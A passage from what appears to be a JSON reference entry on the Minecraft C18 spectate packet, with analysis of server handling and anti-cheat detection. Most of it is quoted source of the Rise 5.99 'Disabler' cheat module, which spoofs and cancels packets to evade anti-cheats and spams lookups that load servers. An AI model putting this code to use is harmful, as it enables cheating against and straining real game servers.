   "notes": "Only processed by the server if the player is in spectator mode (gamemode=3). The server teleports the player's camera to the target entity's position. MultiAura modules (Aqua 13, Memeware 7.3) use C18 to teleport to targets for aura attack sequences.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C18 teleports a spectator's camera to an entity by UUID. It is the spectator-menu action behind PlayerMenuObject, and the server processes it only for players in spectator gamemode. On the wire it is a single UUID, which the server must resolve by scanning every loaded world, making it one of the most expensive cheap packets in the play state."
     },
     {
      "h": "Vanilla handling",
      "p": "handleSpectate gates on isSpectator, then iterates all WorldServer instances calling packetIn.getEntity(worldserver) until the UUID resolves. On a hit it attaches the player's spectating entity and teleports the camera; on a miss nothing happens. The isSpectator gate makes the whole handler a no-op for survival players, which is the property disablers exploit: the packet is safe to spam precisely because it does nothing for non-spectators."
     },
     {
      "h": "Why clients touch it",
      "p": "Four families. (1) Disablers: Rise 5.99 sends random-UUID C18 every tick in verusOld and mineland modes and own-UUID C18 in c18/shartemis modes; Rise 6.x SpectateDisabler sends own-UUID C18 every strafe. (2) Memeware 7.3's CubeCraft exploit suite: MultiAura, Fly and Speed all send C18 with the fixed CubeUtil.CUBECRAFT_UUID as part of movement and attack sequences. (3) Tenacity's Criticals carries a commented-out random-UUID C18. (4) November Recode 2.0's scripting layer: LuaEventPacket maps C18PacketSpectate to wire id 0x18 so Lua scripts can match the packet by id."
     },
     {
      "h": "Exploit surface",
      "p": "Every C18 costs a cross-world entity lookup, so a per-tick random UUID is both a desync tool and a CPU load on the server; the mineland mode sends it from onStrafe, multiplying it by movement ticks. The own-UUID variant is the stealthier one: it resolves to the player's own entity and exercises the spectator re-attach path. Servers detect abuse by counting C18 from non-spectators, which is why disablers pair it with cancelled C0F streams rather than volume alone."
     }
    ],
    "overview": "The spectator teleport packet. Disablers spam random or own UUIDs to force cross-world entity lookups and desync (Rise 5.99, Rise 6.x SpectateDisabler), while Memeware 7.3 rides it with a fixed CubeCraft UUID in its aura, fly and speed modules. November Recode 2.0 only reaches it through its Lua packet wrapper (id 0x18), with no Java module usage.",
    "server_handling": "handleSpectate: isSpectator gate, then a world-by-world getEntity(UUID) scan; on resolution, setSpectatingEntity and camera teleport; on miss, silent no-op. The lookup is unindexed in the bundled 1.8.9 sources, so the cost scales with loaded entity count across all dimensions.",
    "protocol_notes": "Single UUID (two longs). Sent in PLAY state; the spectator menu (PlayerMenuObject) is the vanilla emitter. The packet has no position field: the camera follows the resolved entity. A random UUID guarantees a full scan miss; the player's own UUID always resolves.",
    "anticheat_landscape": "Anti-cheats count C18 from non-spectators as a disabler fingerprint; a steady per-tick stream from a survival player is the classic Verus-era desync pattern that Rise 5.99's verusOld mode targets. The own-UUID variant is subtler because it resolves and touches the spectator re-attach path. Memeware's CubeCraft usage predates server-side counters on that network.",
    "modules": [
     {
      "name": "Disabler (spectate spam)",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Spam C18 with random or own UUIDs to force server-side entity lookups and desync anti-cheat position tracking.",
      "how_it_works": "verusOld sends C18(UUID.randomUUID()) every tick with a C0C input; c18 and shartemis send C18(own UUID); mineland sends C18(random UUID) from onStrafe. All go through sendPacketWithoutEvent.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/Disabler.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport de.gerrygames.viarewind.utils.ChatUtil;\nimport dev.rise.Rise;\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.motion.TeleportEvent;\nimport dev.rise.event.impl.other.AttackEvent;\nimport dev.rise.event.impl.other.StrafeEvent;\nimport dev.rise.event.impl.other.WorldChangedEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.module.impl.movement.Fly;\nimport dev.rise.module.impl.movement.LongJump;\nimport dev.rise.module.impl.player.Scaffold;\nimport dev.rise.notifications.NotificationType;\nimport dev.rise.setting.Setting;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.NoteSetting;\nimport dev.rise.util.math.MathUtil;\nimport dev.rise.util.math.TimeUtil;\nimport dev.rise.util.pathfinding.MainPathFinder;\nimport dev.rise.util.player.MoveUtil;\nimport dev.rise.util.player.PacketUtil;\nimport dev.rise.util.player.PlayerUtil;\nimport io.netty.buffer.Unpooled;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\nimport net.minecraft.util.*;\nimport org.apache.commons.lang3.RandomUtils;\n\nimport java.util.*;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentLinkedDeque;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\n/**\n * This module is designed to disable an anticheat or some of its checks\n * in order to make bypassing easier/having extreme bypasses.\n */\n@ModuleInfo(name = \"Disabler\", description = \"Disables some servers AntiCheats\", category = Category.OTHER)\npublic final class Disabler extends Module {\n\n    private final NoteSetting modeSettings = new NoteSetting(\"Mode Settings\", this);\n    private final BooleanSetting hypixel = new BooleanSetting(\"Hypixel\", this, false);\n    private final BooleanSetting mineland = new BooleanSetting(\"Mineland\", this, false);\n    private final BooleanSetting mmcKeepSprint = new BooleanSetting(\"Minemenclub Keepsprint Check\", this, false);\n    private final BooleanSetting mmcReach = new BooleanSetting(\"Minemenclub Reach Semi\", this, false);\n    private final BooleanSetting hypixelSlime = new BooleanSetting(\"Hypixel Slime\", this, false);\n    private final BooleanSetting dynamicPvP = new BooleanSetting(\"Dynamic PvP\", this, false);\n    private final BooleanSetting ghostlyCombat = new BooleanSetting(\"Ghostly Combat\", this, false);\n    private final BooleanSetting ghostly = new BooleanSetting(\"Ghostly\", this, false);\n    private final BooleanSetting lunar = new BooleanSetting(\"Lunar\", this, false);\n    private final BooleanSetting position = new BooleanSetting(\"Position Edit\", this, false);\n    private final BooleanSetting vulcanCombat = new BooleanSetting(\"Vulcan Reach A\", this, false);\n    private final BooleanSetting verusCombat = new BooleanSetting(\"Verus Combat\", this, false);\n    private final BooleanSetting verus = new BooleanSetting(\"Verus\", this, false);\n    private final BooleanSetting blocksMC = new BooleanSetting(\"BlocksMC\", this, false);\n    private final BooleanSetting sentinel = new BooleanSetting(\"Sentinel\", this, false);\n    private final BooleanSetting shartemis = new BooleanSetting(\"Shartemis Movement\", this, false);\n\n    //Any disabler after this line will be hidden if this is true\n    private final BooleanSetting hideOldDisablers = new BooleanSetting(\"Hide Old Disablers\", this, true);\n\n    private final NoteSetting oldModeSettings = new NoteSetting(\"Old Mode Settings\", this);\n\n    private final BooleanSetting verusOld = new BooleanSetting(\"Verus Old\", this, false);\n    private final BooleanSetting spartan = new BooleanSetting(\"Spartan\", this, false);\n    private final BooleanSetting voidTp = new BooleanSetting(\"Void TP\", this, false);\n    private final BooleanSetting clip = new BooleanSetting(\"Clip\", this, false);\n    private final BooleanSetting tecnioRaper = new BooleanSetting(\"Tecnio AC Disabler\", this, false);\n    private final BooleanSetting convertMovingPackets = new BooleanSetting(\"Covert Moving Packets\", this, false);\n    private final BooleanSetting reverseConvertMovingPackets = new BooleanSetting(\"Reverse Covert Moving Packets\", this, false);\n    private final BooleanSetting funnyCraft = new BooleanSetting(\"Funcraft\", this, false);\n    private final BooleanSetting oxygen = new BooleanSetting(\"Oxygen\", this, false);\n\n    private final NoteSetting packetSettings = new NoteSetting(\"Packet Settings\", this);\n\n    private final BooleanSetting coc = new BooleanSetting(\"PacketInput\", this, false);\n    private final BooleanSetting c0f = new BooleanSetting(\"ConfirmTransaction\", this, false);\n    private final BooleanSetting c00 = new BooleanSetting(\"PacketKeepAlive\", this, false);\n    private final BooleanSetting c08 = new BooleanSetting(\"PacketPlayerBlockPlacement\", this, false);\n    private final BooleanSetting c13 = new BooleanSetting(\"PacketPlayerAbilities\", this, false);\n    private final BooleanSetting c16 = new BooleanSetting(\"PacketClientStatus\", this, false);\n    private final BooleanSetting c18 = new BooleanSetting(\"PacketSpectate\", this, false);\n    private final BooleanSetting c19 = new BooleanSetting(\"PacketResourcePacketStatus\", this, false);\n\n    private final ConcurrentLinkedQueue<Packet<?>> packetList = new ConcurrentLinkedQueue<>();\n    private final ConcurrentLinkedQueue<Packet<?>> packetList2 = new ConcurrentLinkedQueue<>();\n    private final ConcurrentHashMap<Packet<?>, Long> packetHashMap = new ConcurrentHashMap<>();\n    private final ConcurrentLinkedQueue<Packet<?>> transactions = new ConcurrentLinkedQueue<>();\n    private final ConcurrentLinkedQueue<Packet<?>> keepAlives = new ConcurrentLinkedQueue<>();\n\n    public static final ConcurrentLinkedQueue<PacketUtil.TimedPacket> packets = new ConcurrentLinkedQueue<>();\n    public static boolean spoofing;\n    private int ticksSinceTeleport;\n    private long currentDelay;\n    private final TimeUtil timer = new TimeUtil();\n\n    private long nextSend;\n    private boolean teleported;\n    private boolean exempt;\n    private float previousYaw, previousPitch;\n\n    @Override\n    public void onAttackEvent(final AttackEvent event) {\n        if (event.getTarget() != null) {\n            if (ghostlyCombat.isEnabled()) {\n                final double distance = mc.thePlayer.getDistanceToEntity(event.getTarget()) - 0.5657;\n                if (distance > 2.9) {\n                    if (mc.thePlayer.canEntityBeSeen(event.getTarget()))\n                        PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(event.getTarget().posX, event.getTarget().posY, event.getTarget().posZ, false));\n                    else\n                        event.setCancelled(true);\n                }\n            }\n        }\n    }\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        boolean hideAllAfter = false;\n        for (final Setting setting : getSettings()) {\n            setting.hidden = hideAllAfter;\n\n            if (hideOldDisablers == setting && hideOldDisablers.isEnabled()) {\n                hideAllAfter = true;\n            }\n        }\n    }\n\n    @Override\n    protected void onEnable() {\n        if (mc.isIntegratedServerRunning())\n            return;\n\n        if (hypixel.isEnabled()) {\n            final ChatComponentText chatcomponenttext = new ChatComponentText(\"Rejoin\");\n            mc.getNetHandler().getNetworkManager().closeChannel(chatcomponenttext);\n        }\n\n        if (mmcReach.isEnabled()) {\n            Rise.INSTANCE.getNotificationManager().registerNotification(\"You need low ping for this disabler to not kick.\", NotificationType.WARNING);\n        }\n\n        transactions.clear();\n        keepAlives.clear();\n        teleported = false;\n        timer.reset();\n    }\n\n    @Override\n    protected void onDisable() {\n        packetList.forEach(PacketUtil::sendPacketWithoutEvent);\n        packetList.clear();\n        spoofing = false;\n\n        packetList2.forEach(PacketUtil::sendPacketWithoutEvent);\n        packetList2.clear();\n\n        transactions.clear();\n        keepAlives.clear();\n\n        packetHashMap.clear();\n\n        mc.timer.timerSpeed = 1;\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        if (mc.isIntegratedServerRunning())\n            return;\n\n        if (hypixel.isEnabled() && PlayerUtil.isOnServer(\"Hypixel\")) {\n            spoofing = true;\n            for (final PacketUtil.TimedPacket p : packets) {\n                if (System.currentTimeMillis() > p.getTime() + currentDelay) {\n                    PacketUtil.sendPacketWithoutEvent(p.getPacket());\n                    packets.remove(p);\n                    this.currentDelay = Math.round(MathUtil.getRandom(200,250));\n                }\n            }\n        }\n\n\n        if (verusOld.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C0CPacketInput());\n            PacketUtil.sendPacketWithoutEvent(new C18PacketSpectate(UUID.randomUUID()));\n        }\n\n        if (blocksMC.isEnabled()) {\n            if (mc.thePlayer.ticksExisted % 100 == 0) {\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.onGround));\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, -0.015625, mc.thePlayer.posZ, false));\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.onGround));\n\n                teleported = true;\n            }\n\n            if (timer.hasReached(500L) && !transactions.isEmpty()) {\n                PacketUtil.sendPacketWithoutEvent(transactions.poll());\n\n                timer.reset();\n            }\n\n            if (timer.hasReached(400L) && !keepAlives.isEmpty()) {\n                PacketUtil.sendPacketWithoutEvent(keepAlives.poll());\n\n                timer.reset();\n            }\n        }\n\n        if (hypixelSlime.isEnabled() && mc.thePlayer.capabilities.allowFlying) {\n            if (PlayerUtil.isOnServer(\"Hypixel\")) {\n                final PlayerCapabilities playerCapabilities = new PlayerCapabilities();\n                playerCapabilities.isFlying = true;\n                PacketUtil.sendPacket(new C13PacketPlayerAbilities(playerCapabilities));\n            } else\n                PacketUtil.sendPacket(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.RIDING_JUMP));\n        }\n\n        if (vulcanCombat.isEnabled()) {\n            if (timer.hasReached((long) (5000 + (Math.random() * 1000)))) {\n                packetList2.forEach(PacketUtil::sendPacketWithoutEvent);\n                packetList2.clear();\n                timer.reset();\n            }\n        }\n\n        if (sentinel.isEnabled()) {\n            for (final Iterator<Map.Entry<Packet<?>, Long>> iterator = packetHashMap.entrySet().iterator(); iterator.hasNext(); ) {\n                final Map.Entry<Packet<?>, Long> entry = iterator.next();\n\n                if (entry.getValue() < System.currentTimeMillis()) {\n                    PacketUtil.sendPacket(entry.getKey());\n                    iterator.remove();\n                }\n            }\n        }\n\n        if (mmcReach.isEnabled()) {\n            if (timer.hasReached((long) (500 + (Math.random() * 600)))) {\n                packetList.forEach(PacketUtil::sendPacketWithoutEvent);\n                packetList.clear();\n                timer.reset();\n            }\n        }\n\n        if (oxygen.isEnabled() && mc.thePlayer.onGround) {\n            event.setY(event.getY() + 0.42F);\n            event.setGround(false);\n        }\n\n        if (voidTp.isEnabled() && mc.thePlayer.ticksExisted % 20 == 0)\n            event.setY(event.getY() - 20 - Math.random());\n\n        if (clip.isEnabled()) {\n            if (mc.thePlayer.ticksExisted % 20 == 0) {\n                event.setY(event.getY() - 0.42);\n                event.setGround(false);\n            }\n        }\n\n        if (coc.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C0CPacketInput(0.98F, 0.0F, false, false));\n        }\n\n        if (c08.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C08PacketPlayerBlockPlacement(mc.thePlayer.getHeldItem()));\n        }\n\n        if (c13.isEnabled() || shartemis.isEnabled()) {\n            final C13PacketPlayerAbilities abilities = new C13PacketPlayerAbilities();\n\n            abilities.setAllowFlying(true);\n            abilities.setFlying(true);\n\n            PacketUtil.sendPacketWithoutEvent(abilities);\n        }\n\n        if (c16.isEnabled() || shartemis.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C16PacketClientStatus(C16PacketClientStatus.EnumState.PERFORM_RESPAWN));\n        }\n\n        if (c18.isEnabled() || shartemis.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C18PacketSpectate(mc.thePlayer.getUniqueID()));\n        }\n\n        if (c19.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C19PacketResourcePackStatus(\"\", C19PacketResourcePackStatus.Action.ACCEPTED));\n        }\n\n        if (tecnioRaper.isEnabled()) {\n            for (int i = 0; i < 10; i++) {\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(\n                        mc.thePlayer.posX, mc.thePlayer.posY, Double.MAX_VALUE, 0.0F, 0.0F, true\n                ));\n            }\n\n            for (int i = 0; i < 40; i++) {\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(\n                        Double.MAX_VALUE, mc.thePlayer.posY, mc.thePlayer.posZ, 0.0F, 0.0F, true\n                ));\n            }\n\n            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer(true));\n            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer(true));\n\n            tecnioRaper.setEnabled(false);\n        }\n\n        if (funnyCraft.isEnabled()) {\n            if (mc.thePlayer.ticksExisted % 4 == 0) {\n                PacketUtil.sendPacketWithoutEvent(new C0CPacketInput(Float.MAX_VALUE, Float.MAX_VALUE, false, false));\n            }\n        }\n    }\n\n    @Override\n    public void onTeleportEvent(final TeleportEvent event) {\n        if (blocksMC.isEnabled()) {\n            if (teleported) {\n                event.setCancelled(true);\n            }\n\n            teleported = false;\n        }\n        if(hypixel.isEnabled() && PlayerUtil.isOnServer(\"Hypixel\")){\n            if (mc.thePlayer.ticksExisted < 100) {\n                event.setCancelled(true);\n                return;\n            }\n\n            this.ticksSinceTeleport = 0;\n        }\n\n//        if (mc.thePlayer.getDistance(event.getPosX(), event.getPosY(), event.getPosZ()) <= 9.5) {\n//            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(event.getPosX(), event.getPosY(), event.getPosZ(), event.getYaw(), event.getPitch(), false));\n//            event.setCancelled(true);\n//        }\n//        teleported = false;\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (mc.isIntegratedServerRunning()) return;\n\n        final Packet<?> p = event.getPacket();\n\n        if (hypixel.isEnabled()) {\n            final Packet<?> packet = event.getPacket();\n\n            if (packet instanceof S08PacketPlayerPosLook) {\n                nextSend = 0;\n            }\n        }\n\n        if (hypixelSlime.isEnabled()) {\n            if (p instanceof S02PacketChat) {\n                final S02PacketChat chatMessage = (S02PacketChat) event.getPacket();\n                if (chatMessage.getType() == 2 && chatMessage.getChatComponent().getUnformattedText().contains(\"UNAVAILABLE\")) {\n                    chatMessage.chatComponent = new ChatComponentText(\"§aDOUBLE JUMP AVAILABLE§r\");\n                }\n            }\n\n            if (p instanceof S29PacketSoundEffect) {\n                final S29PacketSoundEffect packetSoundEffect = (S29PacketSoundEffect) event.getPacket();\n                if (packetSoundEffect.getSoundName().equals(\"mob.slime.big\")) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (p instanceof S2APacketParticles) {\n                final S2APacketParticles particle = (S2APacketParticles) event.getPacket();\n                if (particle.getParticleType() == EnumParticleTypes.SLIME) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (p instanceof S1FPacketSetExperience) {\n                event.setCancelled(true);\n            }\n        }\n\n        if (verus.isEnabled()) {\n            if (p instanceof S08PacketPlayerPosLook && timer.hasReached(1000)) {\n                final S08PacketPlayerPosLook packet = (S08PacketPlayerPosLook) p;\n                if (mc.thePlayer.getDistanceSq(packet.x, packet.y, packet.z) <= 9.5) {\n                    PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(packet.x, packet.y, packet.z, packet.yaw, packet.pitch, false));\n                    event.setCancelled(true);\n                }\n                teleported = false;\n                timer.reset();\n            }\n        }\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        if (mc.isIntegratedServerRunning())\n            return;\n\n        final Packet<?> packet = event.getPacket();\n\n        if (hypixel.isEnabled() && PlayerUtil.isOnServer(\"Hypixel\")) {\n\n            if (packet instanceof C03PacketPlayer) {\n                final C03PacketPlayer wrapper = (C03PacketPlayer) packet;\n\n                if (wrapper instanceof C03PacketPlayer.C06PacketPlayerPosLook && ticksSinceTeleport <= 50 && mc.thePlayer.sendQueue.doneLoadingTerrain) {\n                    event.setPacket(new C03PacketPlayer.C04PacketPlayerPosition(wrapper.x + Double.MIN_NORMAL, wrapper.y, wrapper.z - Double.MIN_NORMAL, ((C03PacketPlayer.C06PacketPlayerPosLook) wrapper).isOnGround()));\n                }\n            }\n\n            ticksSinceTeleport++;\n            if (mc.thePlayer == null || !mc.thePlayer.sendQueue.doneLoadingTerrain) {\n                packets.clear();\n                return;\n            }\n\n            if (mc.thePlayer.isDead || mc.isSingleplayer()) {\n                packets.forEach(p -> PacketUtil.sendPacketWithoutEvent(p.getPacket()));\n                packets.clear();\n                return;\n            }\n\n\n            if (spoofing) {\n                if (packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive) {\n                    packets.add(new PacketUtil.TimedPacket(packet, System.currentTimeMillis()));\n                    event.setCancelled(true);\n                }\n            } else if (packet instanceof C03PacketPlayer) {\n                packets.forEach(p -> PacketUtil.sendPacketWithoutEvent(p.getPacket()));\n                packets.clear();\n            }\n        }\n\n        if (vulcanCombat.isEnabled() && packet instanceof C0FPacketConfirmTransaction) {\n            packetList2.add(packet);\n            event.setCancelled(true);\n        }\n\n        if (mineland.isEnabled()) {\n            if (event.getPacket() instanceof C03PacketPlayer && !mc.thePlayer.isSwingInProgress && !mc.thePlayer.isUsingItem() && !((C03PacketPlayer) event.getPacket()).isMoving()) {\n                event.setCancelled(true);\n            }\n        }\n\n        if (blocksMC.isEnabled()) {\n\n            if (packet instanceof C0FPacketConfirmTransaction) {\n                transactions.add(packet);\n                event.setCancelled(true);\n\n                if (transactions.size() > 300) {\n                    PacketUtil.sendPacketWithoutEvent(transactions.poll());\n                }\n            }\n\n            if (packet instanceof C00PacketKeepAlive) {\n                final C00PacketKeepAlive c00 = (C00PacketKeepAlive) packet;\n\n                c00.key -= 30;\n                keepAlives.add(c00);\n                event.setCancelled(true);\n            }\n\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (mc.thePlayer.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        mc.thePlayer.serverSprintState = false;\n                    }\n\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (packet instanceof C03PacketPlayer && !mc.thePlayer.isSwingInProgress &&\n                    !mc.thePlayer.isUsingItem() && !((C03PacketPlayer) packet).isMoving()) {\n                event.setCancelled(true);\n            }\n        }\n\n        if (verus.isEnabled()) {\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (packet instanceof C00PacketKeepAlive) {\n                final C00PacketKeepAlive c00 = (C00PacketKeepAlive) packet;\n                c00.key = -c00.key;\n            }\n\n            if (packet instanceof C03PacketPlayer) {\n                final C03PacketPlayer c03 = (C03PacketPlayer) packet;\n\n                mc.timer.timerSpeed = 0.75F;\n\n                if (c03.y % 0.015625 == 0)\n                    c03.setOnGround(true);\n\n                if (timer.hasReached(1000) && !teleported) {\n                    PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition());\n                    teleported = true;\n                }\n\n                if (mc.thePlayer.ticksExisted % 100 == 0)\n                    teleported = false;\n            }\n        }\n\n        if (verusCombat.isEnabled() && mc.thePlayer.ticksExisted > 20 && !mc.thePlayer.capabilities.allowFlying) {\n            if (packet instanceof C0FPacketConfirmTransaction)\n                event.setCancelled(true);\n        }\n\n        if (position.isEnabled() && packet instanceof C03PacketPlayer) {\n            final C03PacketPlayer c03 = (C03PacketPlayer) event.getPacket();\n            c03.setY(c03.getY() + 0.015625);\n        }\n\n        if (ghostly.isEnabled()) {\n            if (packet instanceof C03PacketPlayer) {\n                PacketUtil.sendPacketWithoutEvent(new C0CPacketInput());\n\n                C03PacketPlayer c03PacketPlayer = ((C03PacketPlayer) packet);\n                double mathGround = Math.round(c03PacketPlayer.y / 0.015625) * 0.015625;\n\n                c03PacketPlayer.y = mathGround;\n                c03PacketPlayer.setOnGround(true);\n                event.setPacket(c03PacketPlayer);\n            }\n\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n        }\n\n        if (dynamicPvP.isEnabled()) {\n            if (packet instanceof C03PacketPlayer) {\n                if (mc.thePlayer.ticksExisted % 3 == 0)\n                    event.setCancelled(true);\n\n                final C03PacketPlayer packetPlayer = (C03PacketPlayer) event.getPacket();\n                double x = mc.thePlayer.posX, y = mc.thePlayer.posY, z = mc.thePlayer.posZ;\n\n                if (packetPlayer.isMoving()) {\n                    x = packetPlayer.getPositionX();\n                    y = packetPlayer.getPositionY();\n                    z = packetPlayer.getPositionZ();\n                }\n\n                if (mc.thePlayer.ticksExisted % 20 == 0)\n                    PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, packetPlayer.isOnGround()));\n\n                event.setPacket(new C03PacketPlayer.C06PacketPlayerPosLook(x, y, z, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, packetPlayer.isOnGround()));\n            }\n\n            if (packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive)\n                event.setCancelled(true);\n\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n        }\n\n        if (spartan.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.rotationYaw, 91, mc.thePlayer.onGround));\n        }\n\n        if (sentinel.isEnabled()) {\n            if (packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive) {\n//                packetHashMap.put(p, System.currentTimeMillis() + RandomUtils.nextLong(15000, 25000));\n                event.setCancelled(true);\n            }\n\n            if (packet instanceof C03PacketPlayer.C04PacketPlayerPosition) {\n                final C03PacketPlayer.C04PacketPlayerPosition packetPlayerPosition = (C03PacketPlayer.C04PacketPlayerPosition) packet;\n                event.setPacket(new C03PacketPlayer.C06PacketPlayerPosLook(packetPlayerPosition.getX(), packetPlayerPosition.getY(), packetPlayerPosition.getZ(), mc.thePlayer.rotationYaw + (mc.thePlayer.ticksExisted % 2 == 0 ? RandomUtils.nextFloat(0.05F, 0.1F) : -RandomUtils.nextFloat(0.05F, 0.1F)), mc.thePlayer.rotationPitch, packetPlayerPosition.isOnGround()));\n            }\n        }\n\n        if (c0f.isEnabled() || shartemis.isEnabled()) {\n            if (packet instanceof C0FPacketConfirmTransaction)\n                event.setCancelled(true);\n        }\n\n        if (c00.isEnabled()) {\n            if (packet instanceof C00PacketKeepAlive)\n                event.setCancelled(true);\n        }\n\n        if (lunar.isEnabled()) {\n            if (packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive)\n                event.setCancelled(true);\n\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (packet instanceof C03PacketPlayer.C04PacketPlayerPosition) {\n                final C03PacketPlayer.C04PacketPlayerPosition packetPlayerPosition = (C03PacketPlayer.C04PacketPlayerPosition) packet;\n                event.setPacket(new C03PacketPlayer.C06PacketPlayerPosLook(packetPlayerPosition.getX(), packetPlayerPosition.getY(), packetPlayerPosition.getZ(), mc.thePlayer.rotationYaw + (mc.thePlayer.ticksExisted % 2 == 0 ? RandomUtils.nextFloat(0.05F, 0.1F) : -RandomUtils.nextFloat(0.05F, 0.1F)), mc.thePlayer.rotationPitch, packetPlayerPosition.isOnGround()));\n            }\n        }\n\n        if (reverseConvertMovingPackets.isEnabled()) {\n            if (packet instanceof C03PacketPlayer.C06PacketPlayerPosLook) {\n                final C03PacketPlayer.C06PacketPlayerPosLook packetPlayerPosition = 